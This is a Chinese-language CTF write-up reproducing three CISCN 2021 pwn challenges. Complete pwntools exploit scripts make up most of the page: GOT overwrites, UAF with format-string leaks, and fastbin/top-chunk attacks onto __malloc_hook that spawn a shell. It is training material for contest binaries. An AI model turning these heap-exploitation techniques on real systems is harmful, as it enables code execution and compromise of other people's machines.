CISCN2021东北赛区复现

复现之前,先骂两句。SB形式,SB的自己。

1.hard:这道题目最他丫SB,上来运行不起来,环境调半天,还是运行不起来,再加上VPN崩溃,一直连不上,还以为题目本身优点问题,只能先放弃,转头帮忙去了。后来checksec一下才发现依赖是./lib/,也就是当前文件下需要创建一个lib文件夹,里面放上ld-linux-x86-64.so.2才能运行,我可去他大爷的。

给的分挺高,后面想了想也不算难,主要有三个点。

(1)任意写时修改的地方选择。

(2)calloc传入的nnum为0时,不会申请,会返回0。同样也具备mmap的功能。

(3)最开始初始化的时候,setbuf传入的是_IO_2_1_stdxx的结构体,该结构体在调用scanf,get,printf等需要初始化缓冲区的函数时,会写入缓冲区地址,也就是Libc上某个区域,可以借此联合setbuf来泄露地址。

比赛后和学长交流一下,才想到把最后的puts改成main,我真他丫是个SB,然后就很正常了。

①由于Partial Reload,可以改got表,所以先任意写,将puts改成main,循环程序。

②将exit改成init处的setbuf的地方,将setbuf改成printf,这样再进入init的地方时,就会打印处_IO_2_1_stdxx的结构体的值。

③由于打印_IO_2_1_stdxx的结构体的值时,打印处flag之后就会被0x00截断,所以需要修改flag处的值。这里通过calloc输入过大的nnum时会从mmap申请内存,返回的是mmap空间,也就是libc上的地址。同时由于关闭了PIE,偏移不会发生改变,所以直接调试计算偏移即可。

④泄露地址后,同样利用calloc申请mmap的方法,将calloc_got改成one_gadget即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./pwn"
libc_file = "/lib/x86_64-linux-gnu/libc-2.31.so"
#libc_file = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

#libcsearcher use
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
p = process(binary)
#p = process(['./lib/ld-linux-x86-64.so.2', './tvstation'], env={"LD_PRELOAD":"./lib/libc.so.6"})
#p = process(binary, env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("119.3.81.43","49153")
elf = ELF(binary)
libc = ELF(libc_file)


def write(offset, con):
ru(": ")
sl("-1")
ru(": ")
sl(str(offset // 4))
ru(":")
sl(str(con))

def write2(offset, con):
ru(": ")
sl(str(0x100000))
ru(": ")
sl(str(offset // 4))
ru(":")
sl(str(con))


main_addr = 0x40078D
puts_got = elf.got['puts']
setbuf_got = elf.got['setbuf']
exit_got = elf.got['exit']
printf_plt = elf.plt['printf']
setbuf_plt = elf.plt['setbuf']
calloc_got = elf.got['calloc']
setbuf_init = 0x40086a


log.info("puts_got:0x%x"%puts_got)
log.info("setbuf_got:0x%x"%setbuf_got)
log.info("exit_got:0x%x"%exit_got)
log.info("printf_plt:0x%x"%printf_plt)
log.info("setbuf_plt:0x%x"%setbuf_plt)
log.info("calloc_got:0x%x"%calloc_got)


write(puts_got,main_addr) #puts->main
write(setbuf_got,printf_plt) #setbuf->printf
write(setbuf_got+4,"0") #setbuf->printf
write(exit_got,setbuf_init) #exit->setbuf


# gdb.attach(p, "b *(0x400854) \n c")
IO_stdin4_mmap = 0x5EC974 #without PIE
IO_stdin_1_libc = 0x1EBA03
write2(IO_stdin4_mmap,0x11111111) #IO_stdin.flag->0x111111111fbad208b
sla(': ', str(256))
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
libc_base = leak - IO_stdin_1_libc
log.info("libc_base:0x%x"%libc_base)
one_gadget = libc_base + 0xe6c81

ru(": ")
sl("0")
ru(":")
sl("0")

write(calloc_got, one_gadget & 0xffffffff)
ru(": ")
sl(str(0))
p.interactive()

2.gift:这道题目我认栽,确实是做题经验少了,忘了利用chunk头+chunk联合fastbin的FILO原则来修改chunk头了。

(1)改chunk头,加上UAF漏洞,利用chunk头里的函数指针和参数,改成printf,直接格式化字符串泄露地址。

(2)同样道理,直接改函数指针指向堆上伪造的system_addr,利用参数/bin/sh直接getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./GIFT"
libc_file = "/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
p = process(binary)
#p = process(binary, env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","49153")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = ">> "


def add(size, con):
sla(menu, "1")
sla("size: ", str(size))
sa("content: ", con)


def delete(idx):
sla(menu, "2")
sla("index: ", str(idx))

add(0x28, "\x00") #0
add(0x28, "\x01") #1

delete(0)
delete(1)

add(0x18, "%8$p%9$p"+"\x30") #2
delete(0)
ru("0x")
heap_base = int(p.recv(12),16)-0x10
libc_base = int(p.recv(14),16) - 0x55810
# li("libc_base", libc_base)
# li("leak", leak)
log.info("heap_base:0x%x"%heap_base)
log.info("libc_base:0x%x"%libc_base)

system_addr = libc_base + libc.sym['system']

add(0x38, "\x03") #3
add(0x38, "\x04") #4
add(0x48,p64(system_addr))#5

heap_system = heap_base+0x50+0x50+0x60+0x60+0x20+0x10
delete(3)
delete(4)
add(0x18,"/bin/sh\x00"+p64(heap_system)) #6
delete(3)
p.interactive()

3.small_chunk:我觉得出得最好的是这道题,确实不错。

(1)首先布局,利用off-by-one制作堆块重叠,然后unsortedbin泄露地址。

(2)由于chunk只能申请0x20和0x30,所以想要打fastbin attack,一般有以下三种方案来绕过:

①调用malloc_consolidate,整理fastbin中的chunk,使得fake_chunk的size变成合法的。这个有三种情况,具体分析,我都尝试了个遍,这里一个也用不了。

②利用unsotedbin attack,不过这个只能针对0x7f的情况,这里不太行。

③利用fastbinY链表,先伪造一个fastbin_chunk的fd为0x21或者0x31,申请回来fastbin_chunk,将0x21或者0x31留到fastbinY链表中,这样在main_arena中就留下了一个0x21或者0x31的数值,就可以利用这个数值伪造size来申请chunk到main_arena。之后0x20和0x30的fastbin打配合,将top_chunk地址改成malloc_hook的地方,再申请就可以申请到malloc_hook了。

需要注意的是,top_chunk改地址,需要绕过一些检测,所以一般两种情况:

A.free_hook-0xb58

B.malloc_hook-0x10

以上两种的size域都是一个libc地址,能够通过检测

这里由于堆块个数不够用,所以选择方案B,修改完malloc_hook为one_gadget后,再申请即可getshell。

▲这里在后面的复现中有点犯蠢,本来想申请到bss段上的,没办法泄露elf基地址。vmmap一看,发现heap_base和bss段固定偏移0x1000,这可给我高兴坏了,直接打bss段的size区域的地方。打完后,关机之后,再打开发现不顶用了。得,ASLR我之前给关了,再开就不是固定偏移了…..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./small_chunk"
libc_file = "./libc.so.6"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
#p = process(binary)
p = process(binary, env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","49153")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = ">> "


def add(size):
sla(menu, "1")
sla("size: ", str(size))

def delete(idx):
sla(menu, "2")
sla("index: ", str(idx))

def show(idx):
sla(menu, "3")
sla("index: ", str(idx))

def edit(idx, con):
sla(menu, "4")
sla("index: ", str(idx))
sa("content: ",con)

add(0x18)#0
add(0x18)#1
delete(1)
delete(0)
add(0x18)
show(0)
ru("content: ")
heap_base = u64(rc(6).ljust(8,"\x00"))-0x20
log.info("heap_base:%x"%heap_base)
add(0x18)#1
chunk2_addr = heap_base+0x40
log.info("chunk2_addr:%x"%chunk2_addr)

add(0x28) #idx2
add(0x28) #idx3
add(0x28) #idx4

add(0x28) #idx5
add(0x28) #idx6
add(0x18) #idx7

add(0x28) #idx8
add(0x28) #idx9
add(0x28) #idx10
edit(2,
p64(0x0)+p64(0x81) #fakechunk.pre_size,fakechunk.size
+p64(chunk2_addr+0x10)+p64(chunk2_addr+0x10) #fakechunk.fd,fakechunk.bk
+p64(0x80)+p64(0x31)) #chunk1.pre_size, fakechunk.size = sizeof(chunka)-0x10
#trigger off-by-null or other overflow to set chunkb.pre_inuse equals to 1;


edit(4,p64(0x0)*4+p64(0x80)+p64(0xb0)) #chunk1.pre_size, fakechunk.size = sizeof(chunka)-0x10
#trigger off-by-null or other overflow to set chunkb.pre_inuse equals to 1;
delete(5)
add(0x18) #5
edit(2,"A"*0x10)
show(2)
ru("content: ")
rc(0x10)
main_arena = u64(rc(6).ljust(8,"\x00"))-88 -0x100-0x20
malloc_hook = main_arena-0x10
libc_base = malloc_hook-libc.sym['__malloc_hook']
log.info("libc_base:0x%x"%libc_base)
system_addr = libc_base + libc.sym["system"] #system
free_hook_addr = libc_base + libc.sym["__free_hook"]
malloc_hook_addr = libc_base +libc.sym["__malloc_hook"]
top_addr_main = main_arena+88
one_gadget = libc_base + 0xf1247


log.info("free_hook_addr:0x%x"%free_hook_addr)
log.info("system_addr:0x%x"%system_addr)
log.info("main_arena:0x%x"%main_arena)
log.info("malloc_hook_addr:0x%x"%malloc_hook_addr)
add(0x28) #11
edit(11,"/bin/sh\x00")
add(0x28) #12
add(0x28) #13
add(0x28) #14
add(0x18) #15
delete(7)
edit(15,p64(0x31))
add(0x18)#7
delete(4)
edit(12,p64(main_arena))
add(0x28)#4
add(0x28)#16
edit(16,p64(main_arena+0x30)+p64(0x0)
+p64(0x0)*3+p64(0x31))
add(0x28)#17
edit(17,p64(0x0)*3+p64(malloc_hook_addr-0x10))
pause()
add(0x28)#18
add(0x28)#19
edit(19,p64(one_gadget))
pause()
add(0x28)
p.interactive()

其实这次比赛也学到很多,虽然比赛的时候一道题也没写出来,总的来说还是自己的经验太少。